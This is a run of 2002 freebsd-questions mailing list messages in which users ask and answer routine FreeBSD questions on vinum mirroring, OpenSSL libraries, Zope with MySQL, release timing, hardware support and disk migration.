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Is it possible to set up a mirrored volume in vinum, but only set *one* 
of the plexes to be used for reading?

The reason I'm asking is that I'm making a Network Attached Storage box, 
which I think should have SCSI disks and RAID 1. Unfortunately, our 
budget doesn't stretch to 8 73GB SCSI drives :-)  So I wondered about 
having 4 73GB SCSI drives concatenated for the main storage space, and 2 
160GB IDE drives (also concatenated) as a RAID 1 mirror. However, I 
don't want to put too much load on the IDE drives, so I thought perhaps 
vinum could be set *not* to read from them, merely to write (although, 
if a SCSI drive failed, of course it would have to read from them!).

Or if that isn't possible, any other ideas?

Thanks,

Oliver.

PS If this gets to you in HTML, blame Apple's mail.app... ;)


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From owner-freebsd-questions  Tue Jul 30 14:38:19 2002
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To: Jay Austad <austad@marketwatch.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: libcrypto.so.2 in openssl
References: <54180709DD3FE145917BB165AFE7EFA007257309@mspexch2.office.mktw.net>
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Jay Austad wrote:

> I downloaded the source for openssl and installed it over the old one.
> Is this a no-no?  
> 
> ./config --prefix=/usr shared
> make
> make test
> make install
> 
> Everything works, except libcrypto.so.2 never gets updated, and some
> apps when recompiled still link to it.


Libcrypto shows up in a locate in the following places

owt-207-41-94-233# grep libcrypto.so iworld-20020727-1309.log
install -c -s -o root -g wheel -m 444     libcrypto.so.2 /usr/lib
ln -fs libcrypto.so.2 /usr/lib/libcrypto.so
/usr/lib/libdes.so.3 -> libcrypto.so.2
/usr/lib/libdes.so -> libcrypto.so.2


You didn't touch any of them

Kent


> 
> 
>>-----Original Message-----
>>From: Kent Stewart [mailto:kstewart@owt.com] 
>>Sent: Tuesday, July 30, 2002 4:27 PM
>>To: Jay Austad
>>Cc: freebsd-questions@FreeBSD.ORG
>>Subject: Re: libcrypto.so.2 in openssl
>>
>>
>>
>>
>>Jay Austad wrote:
>>
>>
>>>I just compiled openssl-0.9.6e, and it doesn't seem to replace the 
>>>libcrypto.so.2 file which is leftover from the old version 
>>>
>>of openssl. 
>>
>>>I gave config the "shared" option, and it created other .so 
>>>
>>files, but 
>>
>>>not this one.
>>>
>>>Any ideas on what I'm missing here?
>>>
>>
>>Did you cvsup src-all and then rebuild your system and kernel. This 
>>error usually follows an incomplete update.
>>
>>Kent
>>
>>
>>
>>>A recompile of apps that use openssl still links them to 
>>>libcrypto.so.2. This is part of openssl right?
>>>
>>>Thanks.
>>>
>>>
>>>To Unsubscribe: send mail to majordomo@FreeBSD.org
>>>with "unsubscribe freebsd-questions" in the body of the message
>>>
>>>.
>>>
>>>
>>>
>>
>>-- 
>>Kent Stewart
>>Richland, WA
>>
>>
> http://users.owt.com/kstewart/index.html
> 
> .
> 
> 


-- 
Kent Stewart
Richland, WA

http://users.owt.com/kstewart/index.html


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From owner-freebsd-questions  Tue Jul 30 14:39:16 2002
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In the last episode (Jul 30), David Banning said:
> I am running zope and want to integrate mysql.
> 
> I am running into trouble and the zope list folks are telling
> me I should have mysql-python installed.
> 
> It doesn't seem to be in the ports, or it is not coming up
> with 'locate python | grep mysql | grep ports'
> .

Just like perl is abbreviated as p5 in ports, python is py.  Take a
look at ports/databases/py-MySQL and py-MySQLdb.

-- 
	Dan Nelson
	dnelson@allantgroup.com

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From owner-freebsd-questions  Tue Jul 30 14:40:40 2002
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To: Oliver Humpage <bittern@blueyonder.co.uk>
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Subject: Re: Odd vinum config
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In the last episode (Jul 30), Oliver Humpage said:
> Is it possible to set up a mirrored volume in vinum, but only set *one* 
> of the plexes to be used for reading?
> 
> The reason I'm asking is that I'm making a Network Attached Storage box, 
> which I think should have SCSI disks and RAID 1. Unfortunately, our 
> budget doesn't stretch to 8 73GB SCSI drives :-)  So I wondered about 
> having 4 73GB SCSI drives concatenated for the main storage space, and 2 
> 160GB IDE drives (also concatenated) as a RAID 1 mirror. However, I 
> don't want to put too much load on the IDE drives, so I thought perhaps 
> vinum could be set *not* to read from them, merely to write (although, 
> if a SCSI drive failed, of course it would have to read from them!).

man vinum, search for readpol

-- 
	Dan Nelson
	dnelson@allantgroup.com

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From owner-freebsd-questions  Tue Jul 30 14:41: 7 2002
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  On Jul 30 at 06:32, karl agee spoke:

> freebsd comes with a command line program that works well and is easy to
> master called burncd...there is a man page on it, and a entry in the
> handbook.  You first create an iso image with mkisofs, also command line

I need feedback (on progress). But the feedback of burncd makes
xterm use 14% CPU on my box (250MHz).
Can't one make burncd update it's feedback only once a second?

-Hanspeter

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From owner-freebsd-questions  Tue Jul 30 14:44:13 2002
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Subject: Re: Odd vinum config
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Makes note to self: searching in man pages doesn't wrap!

I'd already looked for 'read policy' but hadn't found it. Sorry :)

Oliver.


On Tuesday, July 30, 2002, at 10:40 PM, Dan Nelson wrote:

> In the last episode (Jul 30), Oliver Humpage said:
>> Is it possible to set up a mirrored volume in vinum, but only set *one*
>> of the plexes to be used for reading?
>>
>> The reason I'm asking is that I'm making a Network Attached Storage 
>> box,
>> which I think should have SCSI disks and RAID 1. Unfortunately, our
>> budget doesn't stretch to 8 73GB SCSI drives :-)  So I wondered about
>> having 4 73GB SCSI drives concatenated for the main storage space, 
>> and 2
>> 160GB IDE drives (also concatenated) as a RAID 1 mirror. However, I
>> don't want to put too much load on the IDE drives, so I thought perhaps
>> vinum could be set *not* to read from them, merely to write (although,
>> if a SCSI drive failed, of course it would have to read from them!).
>
> man vinum, search for readpol
>
> --
> 	Dan Nelson
> 	dnelson@allantgroup.com
>


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Hi!

Is such a thing supposed to be possible? I'm trying to build
a shared libary, that needs a few functions from another library,
which is only available in static form -- without sources.

The thing links, and can be loaded at run-time, but all calls
to the foreign (static) library end up (according to gdb) in the
__cleanup() function of my own lib :-(

How should I do it, if it is possible at all? Thanks a lot!

(This is July 16th -current, if it matters).

	-mi


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> 
> This is a multi-part message in MIME format.
> 
> ------=_NextPart_000_0043_01C237EA.077B47F0
> Content-Type: text/plain;
> 	charset="US-ASCII"
> Content-Transfer-Encoding: 7bit
> 
> I logged into my machine just now and it says, "You have New Mail".
>  
> How do I check it ?  (could I be more pathetic)
>  

type   mail   (maybe  /usr/bin/mail  if you have no decent path)

and then use 'd' for delete 'p' to look at a message  and 'q' to quit
and '?' to see what other internal commands mail has.

Later you can install mutt or elm  or pine or any of the 7 million other
mail readers and use them for a nicer way of reading and sending mail.
////jerry

> - Matthew
>  
>  
> /**************************************************************
>  
>       Matthew Metnetsky
>  
>       met@uberstats.com
>  
> **************************************************************/

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From owner-freebsd-questions  Tue Jul 30 14:54:35 2002
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From: "Diablo Rojo" <diablo_rojo@rol.ro>
To: <freebsd-questions@FreeBSD.org>
Subject: when 4.6.1 will be released
Date: Wed, 31 Jul 2002 00:54:32 +0300
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            Dear helper,
hello, when 4.6.1 will be released ?
                Goodybye,
                    Diablo Rojo[eXistenZ}

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<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp; Dear helper,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>hello, when 4.6.1 will be released =
?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Goodybye,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Diablo=20
Rojo[eXistenZ}</FONT></DIV></BODY></HTML>

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From owner-freebsd-questions  Tue Jul 30 15: 2:24 2002
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From: Dave <xtalsinger@blueyonder.co.uk>
To: questions@FreeBSD.ORG
Subject: Re: xfree and TV question
Date: Tue, 30 Jul 2002 23:02:04 +0100
Reply-To: xtalsinger@blueyonder.co.uk
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References: <20020729150607.34275.qmail@web40102.mail.yahoo.com> <20020729152834.GA51403@dan.emsphone.com>
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On Mon, 29 Jul 2002 10:28:34 -0500, you wrote:

>You probably have to make sure your refresh rate in X is set to
>something your TV can use (50Hz is the PAL refresh rate, I think?) .
>You'll have to edit the "Monitor" section of the XF86Config.  Try
>HorizSync 30-50, VertRefresh 50.  Note that this will make for very
>flickery viewing on your PC monitor, if it even syncs at all.

I'm trying to do the same thing with an NVidia Riva TNT2 card.  Changing
the H and V refresh rates just ended up with X failing to start no
suitable screens found.  The log files shows *every* screen resolution as
not being available due to "hsync out of range"

If anyone has managed to get this card to work on a TV with X (or a
Mach64, or an S3 Savage - got both of those too) I'd appreciate knowing
how/what you did.

Dave

-- 
Sig abducted by aliens


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From owner-freebsd-questions  Tue Jul 30 15:22:22 2002
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To: "'Diablo Rojo'" <diablo_rojo@rol.ro>
Cc: freebsd-questions@FreeBSD.ORG
Subject: RE: when 4.6.1 will be released
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When its ready :-)

-----Original Message-----
From: Diablo Rojo [mailto:diablo_rojo@rol.ro]
Sent: Wednesday, 31 July 2002 9:55 a.m.
To: freebsd-questions@FreeBSD.ORG
Subject: when 4.6.1 will be released


            Dear helper,
hello, when 4.6.1 will be released ?
                Goodybye,
                    Diablo Rojo[eXistenZ}


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<BODY bgColor=#ffffff>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=751302122-30072002>When 
its ready :-)</SPAN></FONT></DIV>
<BLOCKQUOTE style="MARGIN-RIGHT: 0px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> Diablo Rojo 
  [mailto:diablo_rojo@rol.ro]<BR><B>Sent:</B> Wednesday, 31 July 2002 9:55 
  a.m.<BR><B>To:</B> freebsd-questions@FreeBSD.ORG<BR><B>Subject:</B> when 4.6.1 
  will be released<BR><BR></DIV></FONT>
  <DIV><FONT face=Arial size=2>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 
  &nbsp;&nbsp;&nbsp; Dear helper,</FONT></DIV>
  <DIV><FONT face=Arial size=2>hello, when 4.6.1 will be released ?</FONT></DIV>
  <DIV><FONT face=Arial size=2>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 
  &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Goodybye,</FONT></DIV>
  <DIV><FONT face=Arial size=2>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 
  &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Diablo 
  Rojo[eXistenZ}</FONT></DIV></BLOCKQUOTE></BODY></HTML>

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From owner-freebsd-questions  Tue Jul 30 15:36:11 2002
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Date: Tue, 30 Jul 2002 18:36:08 -0400
From: Rob Ellis <rob@web.ca>
To: freebsd-questions@freebsd.org
Subject: vinum + /var ?
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when setting up a machine with vinum, is it ok to
symlink /var to a directory on a vinum partition?
does anything open files on /var before vinum starts?

i was thinking of doing something like this...

  # make a mirrored filesystem
  mirror -n local /dev/ad0s2e /dev/ad2s2e
  newfs -v /dev/vinum/local

  # cp /var to /usr/local/var
  cp -Rp /var /usr/local

  # now mount the vinum'd filesystem on /usr/local
  # over top of non-vinum /usr/local/...
  mount /dev/vinum/local /usr/local

  # cp /var again
  cp -Rp /var /usr/local

  # replace /var with a symlink to /usr/local/var
  mv /var /var.orig && ln -s /usr/local/var /var

is this ok? i'm copying /var twice so that the /var 
symlink will point to a viable /usr/local/var even if 
vinum isn't running (for use in single-user).
does this make sense? :-)
thanks.

- rob

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From owner-freebsd-questions  Tue Jul 30 15:37:20 2002
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From: "How Can ThisBe" <howcanthisbe300@hotmail.com>
To: freebsd-questions@FreeBSD.ORG
Subject: update.sh for updating your system
Date: Tue, 30 Jul 2002 22:37:14 +0000
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I've put together a sh script that makes updating a FreeBSD system a lot 
easier. It is a pretty complete script (I think anyway) and I was wondering 
if people may want to check it out, give feedback or advice on improving the 
script. It currently has support for custom cvs tags, cvs servers options, 
custom kernel compile and a bot more.

There is more info here:
http://lvl.sourceforge.net/update.php

The d/load links are here:
http://prdownloads.sourceforge.net/lvl/update.tar.gz?download

Thats all, thanks.
(can't post to the list from my ISP's mail server, so hotmail it is)



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From owner-freebsd-questions  Tue Jul 30 15:51:53 2002
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To: "'Diablo Rojo'" <diablo_rojo@rol.ro>
Cc: freebsd-questions@FreeBSD.ORG
Subject: RE: i read a list of ATA ...
Date: Wed, 31 Jul 2002 08:51:43 +1000
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Hello Diablo
 
First of all, its best if you sent it to the entire mailing list, not just
one person.  That way you can get more input for your problem.  I've
forwarded it so you can get more responses.
 
Redhat 7.3 uses the Linux 2.4.18 kernel by default.  With RedHat did you
compile a new kernel or use the default one?  The same applies for FreeBSD.
Did you use the default kernel or did you compile your own.  If you have
tried these, the hardware maybe too new for the OSes.  Then I would suggest
waiting until the next FreeBSD (4.7/5.0?) comes out and try that (same with
Linux)
 
Hope that this helps.

-----Original Message-----
From: Diablo Rojo [mailto:diablo_rojo@rol.ro]
Sent: Wednesday, 31 July 2002 10:35 a.m.
To: Craig Williamson (ENZ)
Subject: i read a list of ATA ...


will bsd know my chipset and WDC 120 GB hard-disk and work at full speed not
at 16 mb\s at was written on a document for unknown chipsets , my chipset is
845G and motherboard is http://www.intel.com/design/motherbd/bv/
<http://www.intel.com/design/motherbd/bv/> 
    will bsd know this hardware and will work at least well, because a linux
distro didn't knewed it [rh73 ] which is a few month old and had 2mb\s
transfer


------_=_NextPart_001_01C2381B.ACDD4550
Content-Type: text/html;
	charset="ISO-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-1">


<META content="MSHTML 5.00.3315.2870" name=GENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=#ffffff>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=313383922-30072002>Hello 
Diablo</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=313383922-30072002></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=313383922-30072002>First 
of all, its best if you sent it to the entire mailing list, not just one 
person.&nbsp; That way you can get more input for your problem.&nbsp; I've 
forwarded it so you can get more responses.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=313383922-30072002></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=313383922-30072002>Redhat 
7.3 uses the Linux 2.4.18 kernel by default.&nbsp; With RedHat did you compile a 
new kernel or use the default one?&nbsp; The same applies for FreeBSD.&nbsp; Did 
you use the default kernel or did you compile your own.&nbsp; If you have tried 
these, the hardware maybe too new for the OSes.&nbsp; Then I would suggest 
waiting until the next FreeBSD (4.7/5.0?) comes out and try that (same with 
Linux)</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=313383922-30072002></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=313383922-30072002>Hope 
that this helps.</SPAN></FONT></DIV>
<BLOCKQUOTE style="MARGIN-RIGHT: 0px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> Diablo Rojo 
  [mailto:diablo_rojo@rol.ro]<BR><B>Sent:</B> Wednesday, 31 July 2002 10:35 
  a.m.<BR><B>To:</B> Craig Williamson (ENZ)<BR><B>Subject:</B> i read a list of 
  ATA ...<BR><BR></DIV></FONT>
  <DIV><FONT face=Arial size=2>will bsd know my chipset and WDC 120 GB hard-disk 
  and work at full speed not at 16 mb\s at was written on a document for unknown 
  chipsets , my chipset is 845G and motherboard is <A 
  href="http://www.intel.com/design/motherbd/bv/">http://www.intel.com/design/motherbd/bv/</A></FONT></DIV>
  <DIV><FONT face=Arial size=2>&nbsp;&nbsp;&nbsp; will bsd know this hardware 
  and will work at least well, because a linux distro didn't knewed it [rh73 ] 
  which is a few month old and had 2mb\s 
transfer</FONT></DIV></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C2381B.ACDD4550--

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From owner-freebsd-questions  Tue Jul 30 16:16: 6 2002
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Date: Tue, 30 Jul 2002 16:15:30 -0700
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Subject: Re: 4.6.1-Release
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I am sure this has been rehashed before...  but is an RC build 
suitable for a production server? Or should I wait for 
"4.6.1-Release" ?

thx
J


>On Saturday 20 July 2002 07:42 am, Daniel Blankensteiner wrote:
>  > Hi all
>>
>>  http://www.freebsd.org/releng/index.html says that 4.6.1 should be out the
>>  19'th, but it is not here jet, when will it be ready?
>>
>>  br
>>  db
>
>4.6.1-RC2 is out:
>
>ftp://ftp.FreeBSD.org/pub/FreeBSD/releases/i386/ISO-IMAGES/4.6.1-RC2.iso
>

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From owner-freebsd-questions  Tue Jul 30 16:25:30 2002
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--- John Koenig <jfkoenig@vipb.com> wrote:
> I am sure this has been rehashed before...  but is
> an RC build 
> suitable for a production server? Or should I wait
> for 
> "4.6.1-Release" ?
> 

I would wait.

-ed


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From owner-freebsd-questions  Tue Jul 30 16:35:58 2002
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Hello,

I recently upgraded to a Celeron 333 with a ProComp motherboard, and I kept 
the same video card, sound card, modem, hard drives, floppy drive, and cdrom 
drive.  Now, when I try to install FreeBSD 4.6 on the new computer, it 
stalls permanently at the initial blue screen that is labeled "probing for 
devices".  Is my motherboard not compatible with FreeBSD?  Now I am running 
linux, which installed without a hitch.  Am I stuck running Linux?  I REALLY 
miss FreeBSD.

I look forward to any suggestions,

Korey Pelton




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From owner-freebsd-questions  Tue Jul 30 16:39: 7 2002
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From: Jud <jud@myrealbox.com>
To: questions@FreeBSD.org,
	"calais.ben@libertysurf.fr" <calais.ben@libertysurf.fr>
Date: Tue, 30 Jul 2002 19:39:25 -0400
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7/30/2002 11:31:05 AM, "calais.ben@libertysurf.fr" <calais.ben@libertysurf.fr> wrote:

>I found this on freebsd 4.6 Hardware support
>
>Promise ATA100 OEM chip (pdc20265)
>Promise Fasttrak-33, -66, -100, -100 TX2/TX4
>Promise Ultra-33, -66, -100
>
>I'm going to buy Asus A7V333 with this promise Raid
>Controler and I just want to know if it is supported
>
>thanks a lot
>
>Benjamin CALAIS
>calais.ben@libertysurf.fr

Yes, the A7V333 is supported.  I'm happily running 4.6-STABLE on it.  
The onboard chip is actually the PDC20276, the Promise ATA133 OEM
chip.  The PDC20265 chip is on the A7V266-E (and perhaps others).

Jud




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From owner-freebsd-questions  Tue Jul 30 16:40:45 2002
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Subject: Can FreeBSD make a hard drive unbootable by other OS's ?
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Hi all,
  I had FreeBSD 4.2 installed on an old PC I use as an intranet web
server in my classroom. It was the only operating system installed on
that machine, and I started the FreeBSD install by erasing all
partitions on the hard drive (an old Western Digital 4.3 Gig IDE drive),
then using FreeBSD's sysinstall to create the partitions for the FreeBSD
installation.

  For various reasons, I am now attempting to use this hard drive on
another PC. The drive shows up normally in the BIOS, and I was able to
install Mandrake Linux 8.2 on it with no problems; using a shareware
utility called Boot It Lite, I was able to verify that the drive does
contain the 4 Linux partitions I created during the Linux install
(/boot, swap, /, and /home). However the PC will not boot from the hard
drive. (Yes, the BIOS is set to boot from first the floppy, then the
CDROM, and then the hard drive in question. Yes, the /boot partition is
completely below 1 Gig to avoid any LILO issues).

 I belatedly remember reading something about FreeBSD being able to
create a terminally incompatible hard drive for other operating systems
- is that what has happened here, and if so, is there a way to fix it?

 TIA for any help on this. I'm really hoping I don't have to throw this
drive away...while tiny by todays standards it's more than ample for the
use I intend.

-John Carri


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From owner-freebsd-questions  Tue Jul 30 16:44:44 2002
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From: David Banning <david@skytrackercanada.com>
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Cc: questions@FreeBSD.ORG
Subject: Re: is mysql-python needed?
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X-Loop: FreeBSD.ORG

On Tue, Jul 30, 2002 at 04:39:12PM -0500, Dan Nelson wrote:
> In the last episode (Jul 30), David Banning said:
> > I am running zope and want to integrate mysql.
> > 
> > I am running into trouble and the zope list folks are telling
> > me I should have mysql-python installed.
> > 
> > It doesn't seem to be in the ports, or it is not coming up
> > with 'locate python | grep mysql | grep ports'
> > .
> 
> Just like perl is abbreviated as p5 in ports, python is py.  Take a
> look at ports/databases/py-MySQL and py-MySQLdb.

thanks for the response, Dan. I actually -have- py-mysqldb installed
but for some reason it is now loading.

Error shows;
Traceback (most recent call last):
  File "/usr/local/www/Zope/lib/python/OFS/Application.py", line 531, in import_product
    product=__import__(pname, global_dict, global_dict, silly)
  File "/usr/local/www/Zope/lib/python/Products/ZMySQLDA/__init__.py", line 91, in ?
    import DA
  File "/usr/local/www/Zope/lib/python/Products/ZMySQLDA/DA.py", line 92, in ?
    from db import DB
  File "/usr/local/www/Zope/lib/python/Products/ZMySQLDA/db.py", line 89, in ?
    import _mysql
ImportError: No module named _mysql


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From owner-freebsd-questions  Tue Jul 30 16:52:26 2002
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HummerOk wrote:
> Where can i download FREEBSD to try it?

Believe it or not, the URL is as simple as www.freebsd.org.

--
R



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From owner-freebsd-questions  Tue Jul 30 16:53:27 2002
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From: David Banning <david@skytrackercanada.com>
To: questions@freebsd.org
Subject: py-mysqldb - No module named _mysql
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I am trying to get mysql working with zope. I have installed;

drwxr-xr-x  2 root  wheel  512 Jul 30 17:54 py-MySQLdb-0.9.1
drwxr-xr-x  2 root  wheel  512 Jul 30 17:54 python-2.2.1
drwxr-xr-x  2 root  wheel  512 Jul 30 17:54 mysql-client-3.23.51
drwxr-xr-x  2 root  wheel  512 Jul 19 16:14 mysql-server-3.23.51
drwxr-xr-x  2 root  wheel  512 Jul 30 15:27 zope-zmysqlda-2.0.8
drwxr-xr-x  2 root  wheel  512 Apr 10 18:20 zope-2.5.0

when I try to fire up ZMySQLDA I get;

Traceback (most recent call last):
  File "/usr/local/www/Zope/lib/python/OFS/Application.py", line 531, in import_product
    product=__import__(pname, global_dict, global_dict, silly)
  File "/usr/local/www/Zope/lib/python/Products/ZMySQLDA/__init__.py", line 91, in ?
    import DA
  File "/usr/local/www/Zope/lib/python/Products/ZMySQLDA/DA.py", line 92, in ?
    from db import DB
  File "/usr/local/www/Zope/lib/python/Products/ZMySQLDA/db.py", line 89, in ?
    import _mysql
ImportError: No module named _mysql

Any idea what to do with this?

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From owner-freebsd-questions  Tue Jul 30 16:57:17 2002
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To: Roman Neuhauser <neuhauser@bellavista.cz>
Cc: freebsd-questions <freebsd-questions@FreeBSD.ORG>
Subject: Re: moving an installation to another disk
References: <20020730160756.GC275@freepuppy.bellavista.cz>
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Roman Neuhauser wrote:
> hi there,
> 
> i just bought new disk, and want to move my existing freebsd
> installation over. i could install freebsd afresh on the new disk, and
> copy important files (/etc/* /usr/local/etc/*) over, but i'd rather
> avoid that. i have more than just configuration files on this computer,
> and i *don't* want to reinstall all the software if i don't have to.
> 
> btw, i've read /usr/share/doc/en/articles/formatting-media/, and tried
> to format the new disk (ad1) using /stand/sysinstall (fdisk +
> disklabel). i managed to let fdisk confuse me with the confirm dialog
> after pressing "w", and answered "no" (don't write). the newfs disklabel
> performed then completely confused the system. my existing (ad0s1)
> filesystems disappeared, and i had to cycle the power. the box then came
> up just fine, thank you, but what the fsck was that?
> 
> also, the /usr/share/doc/en/articles/formatting-media/ howto is
> obviously outdated (the behavior it describes doesn't match that
> observed in reality), and /usr/share/doc/handbook/disks-adding.html is
> inaccurate just as well. for example, it says "Sysinstall will not
> create entries in /etc/fstab for you, so the mount point you specify is
> not important". excuse me, but this is bs. sysinstall will
> oh-so-willingly (try to) mount the fs at the mount point specified!
> 
> first, i don't remember asking it to do that.
> 
> second, if you specify a mount point with another fs mounted, sysinstall
> won't newfs the new partitions.
> 
> hrmpf. i've been sitting on this mail on and off for a few hours, and it
> perverted into more of a rant than a support question. sorry for that,
> here is the question:
> 
> how do i transfer a freebsd install from one disk to another? the disks
> are different, so afaik dd is not an option.
> 
> also, the current disk is partitioned into /, /tmp, /usr, /var, and
> swap, and i'd rather have just /boot, /, and swap on the new one.
> 

Do not underestimate the power of the documentation.
A complete step by step howto explaining how to move your entire 
system to a new disk, not necessarily of the same size: 
http://www.freebsd.org/doc/en_US.ISO8859-1/books/faq/disks.html#NEW-HUGE-DISK

--
R



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From owner-freebsd-questions  Tue Jul 30 17: 5:17 2002
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Date: Tue, 30 Jul 2002 20:04:44 -0400
From: Jeremy Faulkner <gldisater@gldis.ca>
To: Mark Edwards <mark@antsclimbtree.com>
Cc: questions@freebsd.org
Subject: Re: Latest RELENG_4_6?
Message-ID: <20020730200444.B76818@constans.gldis.ca>
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On Tue, Jul 30, 2002 at 11:05:36AM -0700, Mark Edwards wrote:
> I built and installed the system, expecting to get FreeBSD 4.6p2 or 4.6p3.
>    However, my dmesg says:
> 
> FreeBSD 4.6.1-RELEASE #0: Mon Jul 29 01:23:31 PDT 2002
> 
> I don't see any mention of 4.6.1 in /usr/src/UPDATING.  Have I indeed got 
> the latest version of RELENG_4_6?  I just wanted security fixes etc.  I don'
> t want any experimental stuff.
> 
> Please reply to me offlist.  Thanks!
> 
> --
> Mark Edwards
> San Francisco, CA

4.6.1 is a point release, point releases are large patch levels.

-- 
Jeremy Faulkner			http://www.gldis.ca

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From owner-freebsd-questions  Tue Jul 30 17:12: 5 2002
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Subject: sound card on intel motherboard
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Hi,

I have an intel motherboard, with an on-board sound card. I want to switch 
to FreeBSD on this machine but cant uness I can get the sound card to work 
*Sigh* (isnt recognised at boot time in almost every sort of possible 
kernel config I have tried) Has anyone here had to do this before, and had 
it work successfully? (I suspect it isn't supported)

Regards,
Jacob

_______________________________________________________
Jacob Rhoden            Phone: +61 3 9844 6102
ITS Division            Email: jrhoden@unimelb.edu.au
Melbourne University   Mobile: +61 403 788 386


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From owner-freebsd-questions  Tue Jul 30 17:18:36 2002
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hal@telefonica.net wrote:
> 
> Hello,
> 
> I'm writing some graphics code (just for fun) and I need "legal" access to
> the memory addresses below 1 mb.
> 
> The thing is, I know how to access those addresses (open /dev/mem, mmap, and
> that's it), but I'd like to be able to alloc some pages so that my accesses
> are correct and don't make the kernel panic...
> 
> Does anyone know how I could do that?

Puh - I do not know if it's really make sense, because I think there should be
another way, f.e. framebuffer, ...
You may take a look into ghostscript, it's able to use X and a standard VGA card.

The way I know is writing a kernel module which gives you direct access to the
video memory (I assume you mean this by accessing memory below 1MB).

In any other case I strongly recommend find another way.

Matt Dillon writes in a mail before:
0xFFFFFFFF      +-----------------------+-----
                |                       |
                |       KERNEL          | (1G)
                |                       |
0xC0000000      +-----------------------+-----
                |                       |
                |       USER STACK      |
                |           |           |
                |           V           |
                |                       |
                +-----------------------+
                |                       |
                |                       |
                |  AVAILABLE FOR MMAP   |
                |                       |  (stack, mmap, user data, program) = 3G
MAXDSIZ         +-----------------------+
                |                       |
                |   USER DATA (NON-MMAP)|
                |                       |
                +-----------------------+
                |                       |
                |     PROGRAM BINARY    |
                |                       |
0x00000000      +-----------------------+-----

    Any C program which uses shared libraries uses mmap().  Many library
    functions and libraries also use mmap(), including portions of our 
    malloc() implementation (though the main area used by mmap is the
    user data area).  If you increase MAXDSIZ to the point where there
    is not enough VM for the mmap()'s programs make then you will run
    into the problems you are having.

    I'm not sure why you are trying to have squid use all 4G of the
    machine directly in its user data area.  Squid caches a lot of
    things in memory, sure, but it also caches things in files and
    FreeBSD will use free physical memory to cache those files
    regardless of how you configure the machine.  So you should be
    getting good utilization of your 4G of memory even if Squid cannot
    use all 4G in its user data area directly.   Setting MAXDSIZ to
    2.9GB out of the 3G of user VM available puts a huge squeeze on
    how much the program can mmap() before it runs out of VM.

                                        -Matt
                                        Matthew Dillon 
                                        <dillon@backplane.com>

> Thank you in advance.
> 
> Alex
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
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From owner-freebsd-questions  Tue Jul 30 17:19:34 2002
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From: Greg 'groggy' Lehey <grog@FreeBSD.org>
To: Oliver Humpage <bittern@blueyonder.co.uk>
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On Tuesday, 30 July 2002 at 22:44:11 +0100, Oliver Humpage wrote:
> On Tuesday, July 30, 2002, at 10:40 PM, Dan Nelson wrote:
>
>> In the last episode (Jul 30), Oliver Humpage said:
>>> Is it possible to set up a mirrored volume in vinum, but only set *one*
>>> of the plexes to be used for reading?
>>>
>>> The reason I'm asking is that I'm making a Network Attached Storage
>>> box,
>>> which I think should have SCSI disks and RAID 1. Unfortunately, our
>>> budget doesn't stretch to 8 73GB SCSI drives :-)  So I wondered about
>>> having 4 73GB SCSI drives concatenated for the main storage space,
>>> and 2
>>> 160GB IDE drives (also concatenated) as a RAID 1 mirror. However, I
>>> don't want to put too much load on the IDE drives, so I thought perhaps
>>> vinum could be set *not* to read from them, merely to write (although,
>>> if a SCSI drive failed, of course it would have to read from them!).
>>
>> man vinum, search for readpol
>
> Makes note to self: searching in man pages doesn't wrap!
>
> I'd already looked for 'read policy' but hadn't found it. Sorry :)

readpol doesn't really work at the moment.  The syntax of the config
file is broken.  It's on my "to do" list.

Greg
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Hi Again,
 
            The reason why Microsoft software has better support for your
hardware is because they have a lot more support from the hardware
manufacturers.  You have to realise that MS may dictate what the ATA133
would look like and they right their kernel because of that.  Alternatively,
Intel could send MS the specs for the 845G so that MS has the support for it
when the chipset is released.
 
            It is no fault of the developers that certain aspects of newer
hardware won't work correctly.  They just have to figure out how the chipset
works and program the kernel accordingly.
 
            A good test of this would be to load Windows95 (or even MS-DOS)
onto it and see if the hardware gets picked up from that.  Hope this helps.

-----Original Message-----
From: Diablo Rojo [mailto:diablo_rojo@rol.ro]
Sent: Wednesday, 31 July 2002 11:08 a.m.
To: Craig Williamson (ENZ)
Subject: Re: i read a list of ATA ...


Well i were thinking that but weren't sure, i used redhat default 2.4.18-3
kernel and didn't worked.
Tnx for forwarding this email, also i still seen before the return of your
email many reports the same problem it gives me at www.google.com/linux
